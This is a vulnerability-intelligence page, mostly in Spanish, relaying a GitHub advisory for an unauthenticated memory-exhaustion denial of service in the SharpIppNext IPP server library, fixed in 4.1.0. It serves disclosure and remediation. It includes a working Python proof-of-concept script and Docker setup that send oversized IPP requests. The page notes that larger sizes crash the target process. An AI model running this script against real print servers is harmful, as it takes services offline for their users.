llamaCVEVulnerability Intelligence
/
Advisory · GitHub · NuGet · SharpIppNext

GHSA-3H63-W8JQ-RRF2

SharpIppNext: Unbounded IPP Document Stream Buffering Leads to Denial of Service

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión4.1.0
Exposición11 hDesde la divulgación, 19 nov 2026, 3:43 p. m.
Detección24 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
03:43 p. m.
04:00 p. m.
02:18 a. m.
03:43 p. m.
06:21 p. m.
09:00 p. m.
11:39 p. m.
02:18 a. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-3H63-W8JQ-RRF2 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

SharpIppNext's `IppProtocol.ReadIppRequestAsync()` unconditionally copies the entire attacker-supplied IPP document payload into an unbounded `MemoryStream` with no size limit. Because this behavior is enabled by default (`ReadDocumentStream = true`) and the official server documentation shows `HttpContext.Request.Body` being passed directly to `ReceiveRequestAsync()` without authentication, an unauthenticated remote attacker can exhaust the server process's memory by sending an arbitrarily large IPP request body, causing an Out-Of-Memory (OOM) condition and denial of service.

> [!NOTE]
> This vulnerability only affects server-side implementations (using `SharpIppServer` to parse incoming IPP requests). It does not affect client-side implementations using `SharpIppClient` or client-side request construction.

Details

The vulnerable sink is in `SharpIpp/Protocol/IppProtocol.cs`:

// IppProtocol.cs:39 — enabled by default
public bool ReadDocumentStream { get; set; } = true;

// IppProtocol.cs:466–470 — no size cap on the copy
if (ReadDocumentStream)
{
    message.Document = new MemoryStream();
    await reader.BaseStream.CopyToAsync(message.Document);  // unbounded
    message.Document.Seek(0, SeekOrigin.Begin);
}

The full call chain from the public API to the vulnerable sink:

  1. `docs/Content/Server/index.md:6–11` — Official server example passes `context.Request.Body` (unauthenticated) to `sharpIppServer.ReceiveRequestAsync(inputStream)`.
  2. `SharpIpp/ISharpIppServer.cs:78` — Public API declaration: `Task<IIppRequest> ReceiveRequestAsync(Stream stream, ...)`.
  3. `SharpIpp/SharpIppServer.cs:62–67` — `ReceiveRequestAsync(Stream)` overload delegates to `ReceiveRawRequestAsync(stream)`.
  4. `SharpIpp/SharpIppServer.cs:52–58` — `ReceiveRawRequestAsync` calls `_ippProtocol.ReadIppRequestAsync(stream, ...)`.
  5. `SharpIpp/Protocol/IppProtocol.cs:466–470` — `ReadIppRequestAsync` copies all remaining bytes after the IPP attribute section into a `new MemoryStream()` with no upper bound.

The existing validator (`IppRequestMessageValidator.ValidateStringLengthLimitsRule`, `IppRequestMessageValidator.cs:260`) only checks IPP attribute string/octet lengths after parsing; it does not constrain the document stream buffered at step 5.

Dynamic confirmation (Phase 2): a Docker-based PoC server built directly from the v4.0.2 source (commit `185343e`) was sent a 100 MB IPP document payload. The server responded `docLength=104857600`, confirming all 100 MB were buffered into a `MemoryStream` with no rejection.

PoC

1. Build and start the vulnerable server

# From the repository root (build context: parent of vuln-001/)
docker build -t sharpipp-dos-poc -f vuln-001/Dockerfile \
  reports/pypiAi_973_danielklecha__SharpIppNext/

docker run --rm -d -p 8631:8631 --name sharpipp-dos-server sharpipp-dos-poc

The PoC server (`Program.cs`) uses the default `SharpIppServer` (which uses `IppProtocol` with `ReadDocumentStream = true`) and exposes a single unauthenticated POST endpoint:

using SharpIpp;

var server = new SharpIppServer();
var app = WebApplication.Create();

app.MapPost("/", async ctx =>
{
    var req = await server.ReceiveRawRequestAsync(ctx.Request.Body);
    ctx.Response.ContentType = "text/plain";
    await ctx.Response.WriteAsync($"docLength={req.Document?.Length}\n");
});

app.Run("http://0.0.0.0:8631");

2. Send the crafted IPP request

python3 vuln-001/poc.py 127.0.0.1 8631 100

The PoC script (`poc.py`) builds a minimal valid IPP/2.0 Print-Job request (version + operation-id + request-id + operation-attributes-tag + two mandatory attributes + end-of-attributes-tag) followed by an attacker-controlled document body of the requested size, then sends it over HTTP.

3. Expected output

[*] Target          : http://127.0.0.1:8631/
[*] IPP header size : 72 bytes
[*] Document payload: 100 MB (104,857,600 bytes)
[*] Total request   : 104,857,672 bytes

[*] Sending request...
[*] HTTP status : 200
[*] Response    : docLength=104857600

[PASS] CONFIRMED: server buffered 104,857,600 bytes (100 MB) into MemoryStream with NO size limit.
[PASS] Vulnerable sink: IppProtocol.cs:469 reader.BaseStream.CopyToAsync(message.Document)

Increasing `doc_size_mb` (e.g., to 4096 or beyond available RAM) triggers process-level OOM on the target server.

Recommended fix

Add a configurable maximum document size and throw `client-error-request-entity-too-large` when exceeded:

--- a/SharpIpp/Protocol/IppProtocol.cs
+++ b/SharpIpp/Protocol/IppProtocol.cs
+        public long? MaxDocumentStreamBytes { get; set; } = 128L * 1024 * 1024;

             if (ReadDocumentStream)
             {
                 message.Document = new MemoryStream();
-                await reader.BaseStream.CopyToAsync(message.Document);
+                await CopyDocumentStreamAsync(reader.BaseStream, message.Document,
+                    message, MaxDocumentStreamBytes, cancellationToken).ConfigureAwait(false);
                 message.Document.Seek(0, SeekOrigin.Begin);
             }
Impact

This is an unauthenticated network-reachable Denial of Service vulnerability. Any server that follows the official SharpIppNext documentation and passes an HTTP request body to `ReceiveRequestAsync()` or `ReceiveRawRequestAsync()` is vulnerable out of the box, because `ReadDocumentStream` defaults to `true` and no document size limit exists in the library.

An attacker with network access to the IPP endpoint can:

  • Send a single HTTP POST request with an arbitrarily large body to exhaust the server process's heap memory.
  • Trigger an OOM kill or `OutOfMemoryException`, crashing the ASP.NET host process and making the printer/IPP service unavailable.
  • Repeat the attack trivially since no authentication is required and the exploit requires only a standard HTTP client.

Only consumers of SharpIppNext that expose an IPP server endpoint using `SharpIppServer` (e.g., print servers, document management systems, and IoT firmware) are affected. Applications acting purely as clients (`SharpIppClient`) to query printers or submit jobs are not affected.

Reproduction artifacts
`Dockerfile`
# syntax=docker/dockerfile:1
# PoC Dockerfile for VULN-001: Unbounded IPP Document Stream Buffering DoS
#
# Vulnerability: SharpIppNext v4.0.2 (commit 185343e) buffers the entire
# attacker-supplied IPP document payload into an unbounded MemoryStream.
#
# Affected code (IppProtocol.cs:39, 466-470):
#   public bool ReadDocumentStream { get; set; } = true;
#   ...
#   message.Document = new MemoryStream();
#   await reader.BaseStream.CopyToAsync(message.Document); // no size limit
#
# Build context: the parent directory (pypiAi_973_danielklecha__SharpIppNext/)
#   docker build -t sharpipp-dos-poc \
#     -f vuln-001/Dockerfile .
#
# Usage:
#   docker run --rm -d -p 8631:8631 --name sharpipp-dos sharpipp-dos-poc
#   python3 vuln-001/poc.py

# ---------------------------------------------------------------------------
# Build stage: compile the PoC server against the vulnerable SharpIpp library
# ---------------------------------------------------------------------------
FROM mcr.microsoft.com/dotnet/sdk:10.0 AS build

# Set up the vulnerable library build environment
WORKDIR /lib

# Create a minimal Directory.Build.props so SharpIpp.csproj can be compiled
# without TreatWarningsAsErrors (build toolchain compatibility)
RUN printf '<Project>\n  <PropertyGroup>\n    <Nullable>enable</Nullable>\n    <LangVersion>latest</LangVersion>\n    <NoWarn>$(NoWarn);618;612;NETSDK1138</NoWarn>\n  </PropertyGroup>\n</Project>\n' > Directory.Build.props

# Copy central package versions (required by SharpIpp netstandard2.0 target)
COPY repo/Directory.Packages.props ./

# Copy the vulnerable SharpIppNext source code (v4.0.2, commit 185343e)
# IMPORTANT: source is copied unmodified; only the build config above is custom
COPY repo/SharpIpp/ ./SharpIpp/

# Set up and build the PoC web server
WORKDIR /app/server
COPY vuln-001/server/ ./

RUN dotnet restore server.csproj
RUN dotnet publish server.csproj -c Release -o /published

# ---------------------------------------------------------------------------
# Runtime stage: minimal ASP.NET 10 image
# ---------------------------------------------------------------------------
FROM mcr.microsoft.com/dotnet/aspnet:10.0

WORKDIR /app
COPY --from=build /published ./

EXPOSE 8631
ENTRYPOINT ["dotnet", "server.dll"]
`poc.py`
#!/usr/bin/env python3
"""
PoC for VULN-001: Unbounded IPP Document Stream Buffering DoS
CVE candidate: SharpIppNext v4.0.1/v4.0.2 (CWE-400, CVSS 7.5)

Vulnerability: IppProtocol.ReadIppRequestAsync() copies the entire attacker-
controlled IPP document payload into a MemoryStream with no size limit:

    if (ReadDocumentStream)   // default: true
    {
        message.Document = new MemoryStream();
        await reader.BaseStream.CopyToAsync(message.Document);  // NO limit
        message.Document.Seek(0, SeekOrigin.Begin);
    }

An unauthenticated attacker sends a valid IPP header followed by an arbitrarily
large document body. The server buffers all bytes in memory, leading to OOM.

Usage:
    python3 poc.py [host] [port] [doc_size_mb]

    host         Target host (default: 127.0.0.1)
    port         Target port (default: 8631)
    doc_size_mb  Document payload size in MB (default: 100)

Expected result:
    Server responds with "docLength=<N>" where N equals doc_size_mb * 1024^2.
    This confirms all bytes were buffered into MemoryStream with no size check.
"""

import sys
import struct
import http.client
import time


def build_ipp_attr(tag: int, name: bytes, value: bytes) -> bytes:
    """Encode a single IPP attribute."""
    return (
        bytes([tag])
        + struct.pack(">H", len(name))
        + name
        + struct.pack(">H", len(value))
        + value
    )


def build_ipp_request(doc_size_bytes: int) -> bytes:
    """
    Build a minimal valid IPP/2.0 Print-Job request.

    Wire format:
        [2]  version-number     0x0200  (IPP 2.0)
        [2]  operation-id      0x0002  (Print-Job)
        [4]  request-id        0x00000001
        [1]  delimiter         0x01    (operation-attributes-tag)
        [N]  attributes        attributes-charset + attributes-natural-language
        [1]  delimiter         0x03    (end-of-attributes-tag)
        [M]  document-data     <arbitrary payload — the attack surface>
    """
    # IPP header: version 2.0, Print-Job, request-id 1
    header = struct.pack(">HHI", 0x0200, 0x0002, 0x00000001)

    # Operation attributes group
    attrs = bytes([0x01])  # operation-attributes-tag
    attrs += build_ipp_attr(0x47, b"attributes-charset", b"utf-8")
    attrs += build_ipp_attr(0x48, b"attributes-natural-language", b"en")
    attrs += bytes([0x03])  # end-of-attributes-tag

    # Document payload: attacker-controlled bytes after end-of-attributes
    # CopyToAsync will buffer ALL of these into a MemoryStream
    document = b"X" * doc_size_bytes

    return header + attrs + document


def run_poc(host: str, port: int, doc_size_mb: int) -> bool:
    """
    Send the crafted IPP request and verify the server echoes the full docLength.

    Returns True (PASS) if the server confirms unbounded buffering.
    """
    doc_size_bytes = doc_size_mb * 1024 * 1024
    payload = build_ipp_request(doc_size_bytes)

    ipp_header_len = len(payload) - doc_size_bytes
    print(f"[*] Target          : http://{host}:{port}/")
    print(f"[*] IPP header size : {ipp_header_len} bytes")
    print(f"[*] Document payload: {doc_size_mb} MB ({doc_size_bytes:,} bytes)")
    print(f"[*] Total request   : {len(payload):,} bytes")
    print(f"[*] Expected docLength in response: {doc_size_bytes}")
    print()

    print(f"[*] Sending request...")
    t0 = time.time()
    try:
        conn = http.client.HTTPConnection(host, port, timeout=180)
        conn.request(
            "POST",
            "/",
            body=payload,
            headers={
                "Content-Type": "application/ipp",
                "Content-Length": str(len(payload)),
            },
        )
        response = conn.getresponse()
        body = response.read().decode("utf-8", errors="replace").strip()
        elapsed = time.time() - t0
    except Exception as exc:
        print(f"[FAIL] Connection error: {exc}")
        return False

    print(f"[*] HTTP status : {response.status}")
    print(f"[*] Response    : {body}")
    print(f"[*] Round-trip  : {elapsed:.2f}s")
    print()

    expected = f"docLength={doc_size_bytes}"
    if expected in body:
        print(
            f"[PASS] CONFIRMED: server buffered {doc_size_bytes:,} bytes ({doc_size_mb} MB) "
            f"into MemoryStream with NO size limit."
        )
        print(
            f"[PASS] Vulnerable sink: IppProtocol.cs:469 "
            f"reader.BaseStream.CopyToAsync(message.Document)"
        )
        return True
    else:
        print(f"[FAIL] Expected '{expected}' in response, got: {body!r}")
        return False


def main() -> None:
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8631
    doc_size_mb = int(sys.argv[3]) if len(sys.argv) > 3 else 100

    success = run_poc(host, port, doc_size_mb)
    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
SharpIppNext< 4.1.0
4.1.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
NuGetSharpIppNext
Corregida 4.1.0 — —
Versiones corregidas4.1.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-59975
Otrahttps://github.com/danielklecha/SharpIppNext/security/advisories/GHSA-3h63-w8jq-rrf2
Otrahttps://github.com/danielklecha/SharpIppNext/commit/30e236e35f415d5172e178c75030cafd53d150fe
Otrahttps://github.com/danielklecha/SharpIppNext/commit/fe161eb3d6d114aaf9b2f1e42dea55b097257281
Otrahttps://github.com/danielklecha/SharpIppNext
Otrahttps://github.com/danielklecha/SharpIppNext/releases/tag/v4.1.0

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.